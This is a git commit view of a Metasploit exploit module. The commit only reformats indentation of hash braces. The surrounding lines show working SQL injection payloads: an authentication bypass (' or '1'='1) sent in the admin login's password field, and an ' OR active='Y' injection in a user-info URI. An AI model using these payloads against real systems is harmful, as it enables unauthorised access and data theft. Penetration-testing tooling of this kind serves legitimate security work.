Minor indentation tweaks.

bug/bundler_fix
Pearce Barry 2017-06-30 17:29:43 -05:00
parent 8c23769cbc
commit dd530a2953
No known key found for this signature in database
GPG Key ID: 0916F4DEA5C5DE0A
1 changed files with 17 additions and 22 deletions

View File

@ -69,13 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
'headers' =>
{
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
},
'vars_post' =>
{
'vars_post' => {
'user_name' => 'admin',
'user_pass' => '\'%20or%20\'1\'%3D\'1'
}
@ -88,8 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
'headers' =>
{
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity',
'Cookie' => cookies
@ -113,10 +110,8 @@ class MetasploitModule < Msf::Exploit::Remote
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity',
'Cookie' => @cookie
}
})
end